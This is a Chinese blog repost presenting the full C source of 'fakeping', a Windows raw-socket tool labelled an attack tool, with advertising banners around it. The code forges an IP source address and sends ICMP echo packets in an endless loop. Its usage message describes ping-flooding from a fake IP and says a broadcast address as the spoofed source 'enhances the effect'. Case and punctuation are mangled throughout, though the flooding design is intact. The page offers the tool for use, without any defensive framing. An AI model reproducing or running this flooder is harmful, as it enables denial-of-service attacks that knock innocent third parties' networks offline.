优秀攻击工具fakeping4W2k源代码
文章转自王牌软件
站长推荐:NSetup一键部署软件
一键式完成美化安装包制作,自动增量升级,数据统计,数字签名。应对各种复杂场景,脚本模块化拆分,常规复杂的脚本代码,图形化设置。无需专业的研发经验,轻松完成项目部署。(www.nsetup.cn)
只回答业务咨询
站长推荐:NSetup一键部署软件
一键式完成美化安装包制作,自动增量升级,数据统计,数字签名。应对各种复杂场景,脚本模块化拆分,常规复杂的脚本代码,图形化设置。无需专业的研发经验,轻松完成项目部署。(www.nsetup.cn)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 |
#include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #define seq 0x28376839 #define status_failed 0xffff //错误返回值 typedef struct _iphdr //定义ip首部 { unsigned char h_verlen; //4位首部长度,4位ip版本号 unsigned char tos; //8位服务类型tos unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 ttl unsigned char proto; //8位协议 (tcp, udp 或其他) unsigned short checksum; //16位ip首部校验和 unsigned int sourceip; //32位源ip地址 unsigned int destip; //32位目的ip地址 }ip_header; // // 定义icmp首部 typedef struct _ihdr { byte i_type; //8位类型 byte i_code; //8位代码 ushort i_cksum; //16位校验和 ushort i_id; //识别号(一般用进程号作为识别号) ushort i_seq; //报文序列号 ulong timestamp; //时间戳 }icmp_header; //checksum:计算校验和的子函数 ushort checksum(ushort *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(ushort); } if(size ) { cksum += *(uchar*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (ushort)(~cksum); } //fakeping主函数 int main(int argc, char **argv) { int datasize,errorcode,counter,flag; int timeout=2000, sendseq=0, packetsize=32; char sendbuf[65535]={0}; wsadata wsadata; socket sockraw=(socket)null; struct sockaddr_in destaddr; ip_header ip_header; icmp_header icmp_header; char fakesourceip[20],destip[20]; //接受命令行参数 if (argc<3) { printf("fakeping by shotgun\n"); printf("\tthis program can do ping-flooding from a fakeip\n"); printf("\tusing a broadcast ip as the fakeip will enhance the effect\n"); printf("email:\n"); printf("\[email]tshotgun@xici.net[/email]\n"); printf("homepage:\n"); printf("\thttp://it.xici.net\n"); printf("\thttp://www.patching.net\n"); printf("usage:\n\tfakeping.exe fakesourceip destinationip [packetsize]\n"); printf("example:\n"); printf("\tfakeping.exe 192.168.15.23 192.168.15.255\n"); printf("\tfakeping.exe 192.168.15.23 192.168.15.200 6400\n"); exit(0); } strcpy(fakesourceip,argv[1]); strcpy(destip,argv[2]); if (argc>3) packetsize=atoi(argv[3]); if (packetsize>60000) { printf("error! packet size too big, must <60k\n"); exit(0); } printf("now fake %s ping %s using packet size=%d bytes\n", fakesourceip, destip, packetsize); printf("\tctrl+c to quit\n"); //初始化sock_raw if((errorcode=wsastartup(makeword(2,1),&wsadata))!=0) { fprintf(stderr,"wsastartup failed: %d\n",errorcode); exitprocess(status_failed); } if((sockraw=wsasocket(af_inet,sock_raw,ipproto_raw,null,0,wsa_flag_overlapped))==invalid_socket) { fprintf(stderr,"wsasocket() failed: %d\n",wsagetlasterror()); exitprocess(status_failed); } flag=true; //设置ip_hdrincl以自己填充ip首部 errorcode=setsockopt(sockraw,ipproto_ip,ip_hdrincl,(char *)&flag,sizeof(int)); if(errorcode==socket_error) printf("set ip_hdrincl error!\n"); __try{ //设置发送超时 errorcode=setsockopt(sockraw,sol_socket,so_sndtimeo,(char*)&timeout,sizeof(timeout)); if (errorcode==socket_error) { fprintf(stderr,"failed to set send timeout: %d\n",wsagetlasterror()); __leave; } memset(&destaddr,0,sizeof(destaddr)); destaddr.sin_family=af_inet; destaddr.sin_addr.s_addr=inet_addr(destip); //填充ip首部 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位ip版本号,低四位首部长度 ip_header.total_len=htons(sizeof(ip_header)+sizeof(icmp_header)); //16位总长度(字节) ip_header.ident=1; //16位标识 ip_header.frag_and_flags=0; //3位标志位 ip_header.ttl=128; //8位生存时间 ttl ip_header.proto=ipproto_icmp; //8位协议 (tcp, udp 或其他) ip_header.checksum=0; //16位ip首部校验和 ip_header.sourceip=inet_addr(fakesourceip); //32位源ip地址 ip_header.destip=inet_addr(destip); //32位目的ip地址 //填充icmp首部 icmp_header.i_type = 8; icmp_header.i_code = 0; icmp_header.i_cksum = 0; icmp_header.i_id = 2; icmp_header.timestamp = 999; icmp_header.i_seq=999; memcpy(sendbuf, &icmp_header, sizeof(icmp_header)); memset(sendbuf+sizeof(icmp_header), ‘e‘, packetsize); icmp_header.i_cksum = checksum((ushort *)sendbuf, sizeof(icmp_header)+packetsize); memcpy(sendbuf,&ip_header,sizeof(ip_header)); memcpy(sendbuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header)); memset(sendbuf+sizeof(ip_header)+sizeof(icmp_header), ‘e‘, packetsize); memset(sendbuf+sizeof(ip_header)+sizeof(icmp_header)+packetsize, 0, 1); //计算发送缓冲区的大小 datasize=sizeof(ip_header)+sizeof(icmp_header)+packetsize; ip_header.checksum=checksum((ushort *)sendbuf,datasize); //填充发送缓冲区 memcpy(sendbuf,&ip_header, sizeof(ip_header)); while(1) { sleep(100); printf("."); for(counter=0;counter<1024;counter++) { //发送icmp报文 errorcode=sendto(sockraw,sendbuf,datasize,0,(struct sockaddr*)&destaddr,sizeof(destaddr)); if (errorcode==socket_error) printf("\nsend error:%d\n",getlasterror()); } } }//end of try __finally { if (sockraw != invalid_socket) closesocket(sockraw); wsacleanup(); } return 0; } |
学习日记,兼职软件设计,软件修改,毕业设计。
本文出自 学习日记,转载时请注明出处及相应链接。
本文永久链接: https://www.softwareace.cn/?p=626